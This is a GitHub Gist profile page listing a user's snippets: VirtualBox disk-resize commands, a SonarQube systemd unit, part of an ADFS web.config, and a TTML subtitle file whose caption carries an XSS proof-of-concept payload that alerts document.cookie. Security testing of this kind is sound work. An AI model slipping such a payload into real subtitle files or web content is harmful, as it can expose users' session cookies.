Skip to content

Instantly share code, notes, and snippets.

Avatar
:octocat:

W1r3d W1R3D-Code

:octocat:
  • Cambridge
View GitHub Profile
View webvtt_xss.xml
<?xml version="1.0" encoding="UTF-8"?>
<tt xmlns="http://www.w3.org/2006/10/ttaf1" xmlns:ttp="http://www.w3.org/2006/10/ttaf1#parameter" xmlns:ttm="http://www.w3.org/2006/10/ttaf1#metadata" xmlns:tts="http://www.w3.org/2006/10/ttaf1#styling" xml:lang="en" ttp:frameRate="25" ttp:timeBase="media">
<head/>
<body>
<div>
<p xml:id="c0" xml:space="preserve" begin="00:00:01.000" end="00:00:02.000" tts:backgroundColor="black" tts:fontSize="15" tts:origin="0px 0px">&#x3C;img src=x onerror=alert(document.cookie) /&#x3E;</p>
</div>
</body>
</tt>
@W1R3D-Code
W1R3D-Code / resize-vmi
Last active May 16, 2019
Resize VirtualBox VM's disk (after being created by Vagrant). commands to run manually, first from windows host then on Linux vm
View resize-vmi
# 1. First stop the VM
# Back up what you can since it never hurts to do so!
# 2. convert .vmdk to .vmi and resize to 50G
# if not in path VBoxManager is here by default: C:\Program Files\Oracle\VirtualBox\VBoxManage.exe
VBoxManage clonehd in.vmdk out.vmi --format VDI
VBoxManage modifyhd out.vmi --resize 51200
# 3. Go into VirtualBox settings for VM and remove the old vmdk disk and attach your new vmi in its place
# This won't do anything to the disks but its always nice to have backups incase anything goes wrong
@W1R3D-Code
W1R3D-Code / sonarqube.service
Last active May 10, 2019
Running SonarQube as a Service on Linux with SystemD - /etc/systemd/system/sonarqube.service
View sonarqube.service
[Unit]
Description=SonarQube service
After=syslog.target network.target
[Service]
Type=forking
ExecStart=/opt/sonarqube/bin/linux-x86-64/sonar.sh start
ExecStop=/opt/sonarqube/bin/linux-x86-64/sonar.sh stop
@W1R3D-Code
W1R3D-Code / web.config
Created Jan 19, 2018 — forked from nzpcmad/web.config
Classic ASP and ADFS
View web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<configSections>
<section name="microsoft.identityModel" type="Microsoft.IdentityModel.Configuration.MicrosoftIdentityModelSection, Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</configSections>
<location path="FederationMetadata">
<system.web>
<authorization>
<allow users="*" />
</authorization>